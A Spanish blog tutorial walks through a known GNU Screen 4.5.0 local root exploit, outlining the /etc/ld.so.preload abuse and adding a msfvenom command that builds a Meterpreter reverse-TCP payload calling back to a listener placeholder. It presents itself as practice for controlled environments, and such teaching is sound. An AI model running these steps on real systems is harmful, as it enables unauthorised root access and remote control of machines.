Got Root! Cómo escalar privilegios en GNU/Linux a través de un viejo bug de Screen
En el post de hoy, quiero dejar un ejemplo práctico de elevación de privilegios en sistemas operativos GNU/Linux que no han sufrido un proceso de Hardening. Para ello me voy a centrar en la aplicación Screen. Esta aplicación, Screen, es un programa que sirve para gestionar ventanas, permitiendo la multiplexación de terminales, como son las shells interactivas, que en su versión 4.5.0 tiene una vulnerabilidad que nos va a permitir desde un usuario sin altos privilegios llegar a ser root.
Lo primero, ver el bug en su enlace original, root exploit 4.5.0. Se puede ver que ya tiene un tiempo, es de enero del 2017, y en las versiones posteriores ya no es vulnerable, pero para practicar viene muy bien y ayuda a entender el proceso de lo que significa un Linux Exploiting.
Figura 1: Got Root! Cómo escalar privilegios en GNU/Linux a través de un viejo bug de Screen |
Lo primero, ver el bug en su enlace original, root exploit 4.5.0. Se puede ver que ya tiene un tiempo, es de enero del 2017, y en las versiones posteriores ya no es vulnerable, pero para practicar viene muy bien y ayuda a entender el proceso de lo que significa un Linux Exploiting.
|
Para resumir la historia, el bug vemos que se produce a la hora de abrir el registro con privilegios de root, dándonos así la posibilidad de crear un archivo en el que el propietario sea el usuario root. En exploit-db tenemos un script en bash para realizar la explotación, también te puedes descargar la versión vulnerable de la aplicación.
Figura 3: Bug y Exploit de Screen en Exploit-db |
Figura 4: Ficheros .c creados por el exploit |
El siguiente paso es compilar estos ficheros y eliminar los ficheros con extensión .c. Los ficheros con extensión .so que se generan son una librería compartida, el equivalente a una DLL (Dynamic Link Library) en sistemas operativos MS Windows.
Figura 5: Tras compilar tiramos los .c y nos quedamos el .so |
• Nos cambiamos al directorio /etc.
• Se hace una llamada a umask 0, que establece por defecto los permisos de los nuevos archivos creados 0666 para los ficheros y 0777 para directorios.
• Se crea ld.so.preload, un archivo que cuenta con una lista de librerías (ELF) compartidas y que se van a cargar antes del script que queramos ejecutar. Nos aprovechamos de la siguiente idea: si puedes leer y/o escribir del directorio /etc, tienes permiso root. Este archivo tiene dentro de su lista "/tmp/libhax.so”, que ejecutara el cambio de propietario y permisos.
• Por último, se ejecuta screen y ejecutamos nuestra shell root.
Se puede ver de manera gráfica en el siguiente dibujo de la Figura 6 el flujo de ejecución cuando se llama a la rootshell.
Figura 6: Flujo de ejecución del exploit |
Y ahora, vamos a ver un ejemplo práctico de explotación de esta vulnerabilidad en un entorno afectado por este bug, que vamos a configurar para ello.
PoC I – Probando el exploit para GNU Screen 4.5.0
Una vez tengamos instalada la versión vulnerable de Screen, procedemos a ejecutar el exploit, recuerda cambiarte a un usuario distinto de root, si no, no verás el efecto. Al descargar el código del exploit, necesitaremos darle permisos de ejecución con chmod.
Figura 7: Dándole permisos al exploit desde Kali Linux |
Si intentamos ejecutar el archivo, podemos recibir un error como se muestra en la siguiente captura, probablemente falle el formato del fichero, o fue programado en Windows, ejecuta:
tr -d "\r" < 41154 > test
Y vuelves a usar el chmod para dar permisos de ejecución al nuevo fichero.
Figura 8: Nuevo fichero |
Ya estamos listos para ejecutar el exploit, y obtener una shell con permisos root, la salida del script la podemos ver en la siguiente captura (los posibles warnings o errores que puedan salir no deberían afectar al exploit).
Figura 9: Salida de la ejecución del exploit con la elevación a root |
Vale, hasta aquí hemos obtenido una shell local, ¿podríamos abrir un Meterpreter con altos privilegios en Metasploit? La respuesta es sí, vamos a verlo en acción.
PoC II – Elevación de privilegios abriendo un meterpreter
Tenemos que modificar un poco el código con respecto al que nos proporcionan en exploit-db, sufre cambios el fichero /tmp/rootshell.c y su compilación, se muestra en el siguiente código.
Figura 10: Compilación para Metasploit |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP-Metasploit-Listener] LPORT=[Port-Metasploit-Listener] -f c
Y por último al ejecutar nuestro código obtenemos un Meterpreter, como se ve en la siguiente captura.
Figura 11: Shell Meterpreter conseguido con el exploit |
El resultado se puede apreciar mejor en el siguiente vídeo, que se ha grabado, para que se pueda ver de manera más clara su funcionamiento.
Figura 12: PoC de explotación de bug en Screen
Hasta aquí llega el artículo. Espero que os sirva para seguir investigando y jugando con exploits (recuerda, siempre en entornos controlados). Hasta pronto.
No hay comentarios:
Publicar un comentario